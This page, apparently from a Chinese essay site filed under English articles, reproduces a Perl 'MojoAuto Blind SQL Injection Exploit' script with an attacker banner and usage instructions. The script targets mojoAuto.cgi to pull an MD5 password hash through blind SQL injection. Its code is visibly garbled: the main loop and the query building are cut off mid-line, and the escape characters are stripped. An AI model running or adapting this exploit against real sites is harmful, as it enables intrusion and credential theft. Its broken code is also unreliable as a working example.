• 爱情文章
  • 亲情文章
  • 友情文章
  • 生活随笔
  • 校园文章
  • 经典文章
  • 人生哲理
  • 励志文章
  • 搞笑文章
  • 心情日记
  • 英语文章
  • 范文大全
  • 作文大全
  • 新闻阅读
  • 当前位置: 山茶花美文网 > 英语文章 > 正文

    MojoAuto,(mojoAuto.cgi,mojo),Blind,SQL,Injection,Exploit mojoto

    时间:2020-03-29来源:山茶花美文网 本文已影响 山茶花美文网手机站
    #!/usr/bin/perl
    use LWP::UserAgent;
    use Getopt::Long;
    if(!$ARGV[1])
    {
    print " n";
    print " #################### Viva IslaMe Viva IslaMe ################n";
    print " # MojoAuto Blind SQL Injection Exploit #n";
    print " # (mojoAuto.cgi mojo ) #n";
    print " # Author: Mr.SQL #n";
    print " # EMAIL : SQL@HOTMAIL.IT #n";
    print " # #n";
    print " # -((:: GrE3E3E3E3E3ETZ ::))- #n";
    print " # #n";
    print " # HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMaD AL 3rab #n";
    print " # :: ALwHeD :: milw0rm :: #n";
    print " # #n";
    print " # MuSliMs HaCkErS #n";
    print " # #n";
    print " # HOME: WwW.PaL- #n";
    print " # #n";
    print " # Usage : perl test.pl host #n";
    print " # Example: perl test.pl / -d 10 #n";
    print " # Options: #n";
    print " # -d valid cat_a value #n";
    print " #############################################################n";
    exit;
    }
    my $host = $ARGV[0];
    my $cat_a = $ARGV[2];
    my %options = ();
    GetOptions(%options, "u=i", "p=s", "d=i");
    print "[~] Exploiting...n";
    if($options{"b"})
    {
    $mojo = $options{"b"};
    }
    syswrite(STDOUT, "[~] MD5-Hash: ", 14);
    for(my $i = 1; $i get($query);
    my $content = $resp->content;
    my $regexp = "tourterms.pdf"; if($content =~ /$regexp/)
    {
    return 1;
    }
    else
    {
    return 0;
    }
    }

    • 爱情文章
    • 亲情文章
    • 友情文章
    • 随笔
    • 哲理
    • 励志
    • 范文大全